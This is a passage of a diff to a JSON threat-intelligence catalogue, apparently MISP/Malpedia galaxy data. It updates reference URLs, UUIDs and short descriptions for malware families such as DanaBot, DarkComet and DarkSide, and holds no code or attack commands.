"https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", + "https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", "https://asec.ahnlab.com/en/30445/", + "https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://blog.lexfo.fr/danabot-malware.html", + "https://security-soup.net/decoding-a-danabot-downloader/", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", + "https://www.proofpoint.com/us/blog/threat-insight/new-year-new-version-danabot", + "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", + "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://blogs.blackberry.com/en/2021/11/threat-thursday-danabot-malware-as-a-service", + "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://www.proofpoint.com/us/threat-insight/post/danabot-control-panel-revealed", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.proofpoint.com/us/threat-insight/post/danabot-gains-popularity-and-targets-us-organizations-large-campaigns", + "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", + "https://www.welivesecurity.com/2018/12/06/danabot-evolves-beyond-banking-trojan-new-spam/", "https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/DanaBot-Riding-Fake-MYOB-Invoice-Emails/", - "https://malwareandstuff.com/deobfuscating-danabots-api-hashing/", + "https://twitter.com/f0wlsec/status/1459892481760411649", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [], @@ -19409,13 +20628,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot", - "https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/", - "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", "https://dragos.com/wp-content/uploads/Dragos-Oil-and-Gas-Threat-Perspective-2019.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", - "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/", + "https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f", + "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf", "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", - "https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f" + "https://www.youtube.com/watch?v=FttiysUZmDw" ], "synonyms": [], "type": [] @@ -19423,29 +20642,60 @@ "uuid": "98d3c6b3-c29f-46ba-b24d-88b135cd3183", "value": "danbot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit", + "https://blogs.blackberry.com/en/2023/02/darkbit-ransomware-targets-israel", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware-Windows-DarkBit/README.md", + "https://www.microsoft.com/en-us/security/blog/2023/04/07/mercury-and-dev-1084-destructive-attack-on-hybrid-environment/", + "https://twitter.com/luc4m/status/1626535098039271425", + "https://labs.k7computing.com/index.php/muddywater-back-with-darkbit/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "abf5436b-23e4-4dec-8c98-0e95a499be78", + "value": "DarkBit" + }, + { + "description": "Stealer is written in Visual Basic.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud", + "https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "43601d72-1df5-4d95-8cdc-ad9754aa5d72", + "value": "DarkCloud Stealer" + }, { "description": "DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", - "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://content.fireeye.com/apt/rpt-apt38", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/", "https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html", + "https://content.fireeye.com/apt/rpt-apt38", "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.DarkComet", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", - "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469", - "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.malwarebytes.com/threat-analysis/2012/10/dark-comet-2-electric-boogaloo/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf", + "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.sysnet.ucsd.edu/sysnet/miscpapers/darkmatter-www20.pdf", + "https://www.tgsoft.it/files/report/download.asp?id=7481257469", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ @@ -19455,18 +20705,23 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "15949ecb-1f2b-4f59-9cf7-5751694e8fba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5086a6e0-53b2-4d96-9eb3-a0237da2e591", "value": "DarkComet" }, + { + "description": "Mandiant associates this with UNC4191, this malware spreads to removable drives.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia", + "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "16d9f98d-4da6-419d-89f7-8c30418255ae", + "value": "DARKDEW" + }, { "description": "", "meta": { @@ -19524,8 +20779,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi", - "http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html", - "http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html" + "http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html", + "http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html" ], "synonyms": [], "type": [] @@ -19538,8 +20793,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon", - "http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html", "https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml", + "http://contagiodump.blogspot.com/2010/01/jan-17-trojan-darkmoonb-exe-haiti.html", "http://contagiodump.blogspot.com/2010/07/cve-2010-2568-keylogger-win32chyminea.html" ], "synonyms": [ @@ -19550,6 +20805,19 @@ "uuid": "81ca4876-b4a4-43e9-b8a9-8a88709dd3d2", "value": "Darkmoon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink", + "https://www.group-ib.com/media-center/press-releases/dark-pink-apt/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f3522624-a704-4d74-8c21-1c863ab6d5eb", + "value": "DarkPink" + }, { "description": "", "meta": { @@ -19560,15 +20828,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "7e9f46aa-d5d1-11e8-b782-e71d52d8ac7c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "1aecd6eb-80e2-4598-8504-d93f69c7a8f0", "value": "DarkPulsar" }, @@ -19583,15 +20842,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c9e6e42a-65c0-418e-ab77-09bcdb1214a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bcff979f-2b4b-41cc-86c9-fe1ea3adce6e", "value": "DarkRat" }, @@ -19614,129 +20864,130 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside", - "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", - "https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", - "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", - "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", - "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", - "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", - "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", - "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", - "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://www.secureworks.com/research/threat-profiles/gold-waterfall", - "https://www.youtube.com/watch?v=NIiEcOryLpI", - "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", - "https://brandefense.io/darkside-ransomware-analysis-report/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", "https://www.varonis.com/blog/darkside-ransomware/", - "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", - "https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/", - "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", - "https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions", "https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-attack-vector-evolution", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-gang-returns-as-new-blackmatter-operation/", - "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://zawadidone.nl/darkside-ransomware-analysis/", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://www.reuters.com/technology/colonial-pipeline-halts-all-pipeline-operations-after-cybersecurity-attack-2021-05-08/", - "https://therecord.media/popular-hacking-forum-bans-ransomware-ads/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", - "https://www.acronis.com/en-us/articles/darkside-ransomware/", - "https://unit42.paloaltonetworks.com/darkside-ransomware/", - "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/", - "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", - "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", - "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", - "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://community.riskiq.com/article/fdf74f23", - "https://twitter.com/sysopfb/status/1422280887274639375", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", - "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/", - "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", - "https://blog.group-ib.com/blackmatter2", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.intel471.com/blog/darkside-ransomware-colonial-pipeline-attack", + "https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.secjuice.com/blue-team-detection-darkside-ransomware/", "https://blog.cyble.com/2021/08/05/blackmatter-under-the-lens-an-emerging-ransomware-group-looking-for-affiliates/", - "https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html", - "https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636", - "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://www.nozominetworks.com/blog/colonial-pipeline-ransomware-attack-revealing-how-darkside-works/", + "https://www.bleepingcomputer.com/news/security/us-chemical-distributor-shares-info-on-darkside-ransomware-data-theft/", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", + "https://www.secureworks.com/research/threat-profiles/gold-waterfall", + "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", + "https://unit42.paloaltonetworks.com/darkside-ransomware/", "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.glimps.fr/lockbit3-0/", - "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/", "https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://news.sophos.com/en-us/2021/05/11/a-defenders-view-inside-a-darkside-ransomware-attack/", + "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", + "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", + "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "http://ti.dbappsecurity.com.cn/blog/index.php/2021/05/10/darkside/", + "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", + "https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/", + "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", + "https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.repubblica.it/economia/finanza/2021/04/28/news/un_sospetto_attacco_telematico_blocca_le_filiali_della_bcc_di_roma-298485827/", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://zawadidone.nl/darkside-ransomware-analysis/", + "https://asec.ahnlab.com/en/34549/", + "https://id-ransomware.blogspot.com/2020/08/darkside-ransomware.html", + "https://www.deepinstinct.com/2021/06/04/the-ransomware-conundrum-a-look-into-darkside/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.acronis.com/en-us/articles/darkside-ransomware/", + "https://www.dragos.com/blog/industry-news/recommendations-following-the-colonial-pipeline-cyber-attack/", + "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2021/05/18/darkside_ransomware-QfsV.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", + "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", + "https://www.metabaseq.com/recursos/inside-darkside-the-ransomware-that-attacked-colonial-pipeline#", + "https://brandefense.io/darkside-ransomware-analysis-report/", + "https://twitter.com/sysopfb/status/1422280887274639375", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + "https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", + "https://community.riskiq.com/article/fdf74f23", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.bloomberg.com/news/articles/2021-05-13/colonial-pipeline-paid-hackers-nearly-5-million-in-ransom", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", + "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", + "https://blog.360totalsecurity.com/en/darksides-targeted-ransomware-analysis-report-for-critical-u-s-infrastructure-2/", + "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://www.nozominetworks.com/blog/how-to-analyze-malware-for-technical-writing/", - "https://www.splunk.com/en_us/blog/security/the-darkside-of-the-ransomware-pipeline.html", - "https://therecord.media/ransomware-gang-wants-to-short-the-stock-price-of-their-victims/", - "https://github.com/Haxrein/Malware-Analysis-Reports/blob/main/darkside_ransomware_technical_analysis_report.pdf", - "https://twitter.com/JAMESWT_MHT/status/1388301138437578757", - "https://www.databreachtoday.com/blogs/darkside-ransomware-gang-launches-affiliate-program-p-2968", - "https://asec.ahnlab.com/en/34549/", - "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", + "https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-is-creating-a-secure-data-leak-service-in-iran/", + "https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://zetter.substack.com/p/anatomy-of-one-of-the-first-darkside", - "https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/", - "https://www.sentinelone.com/blog/meet-darkside-and-their-ransomware-sentinelone-customers-protected/", - "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", - "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", - "https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6", - "https://go.recordedfuture.com/hubfs/reports/MTP-2021-0804.pdf", - "https://securityintelligence.com/posts/darkside-oil-pipeline-ransomware-attack/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-189a", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/", - "https://twitter.com/ValthekOn/status/1422385890467491841?s=20", + "https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/", + "https://twitter.com/GelosSnake/status/1451465959894667275", "https://blog.group-ib.com/blackmatter#", "https://us-cert.cisa.gov/ncas/alerts/aa21-131a", - "https://krebsonsecurity.com/2021/05/a-closer-look-at-the-darkside-ransomware-gang/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted", + "https://www.glimps.fr/lockbit3-0/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.mandiant.com/resources/burrowing-your-way-into-vpns", "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://cybergeeks.tech/a-step-by-step-analysis-of-a-new-version-of-darkside-ransomware/", + "https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", "https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b", - "https://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/", - "https://labs.bitdefender.com/2021/01/darkside-ransomware-decryption-tool/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://socprime.com/blog/affiliates-vs-hunters-fighting-the-darkside/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://github.com/sisoma2/malware_analysis/tree/master/blackmatter", - "https://www.bleepingcomputer.com/news/security/darkside-affiliates-claim-gangs-bitcoins-in-deposit-on-hacker-forum/", + "https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims", + "https://threatpost.com/guess-fashion-data-loss-ransomware/167754/", "https://www.databreaches.net/a-chat-with-darkside/", - 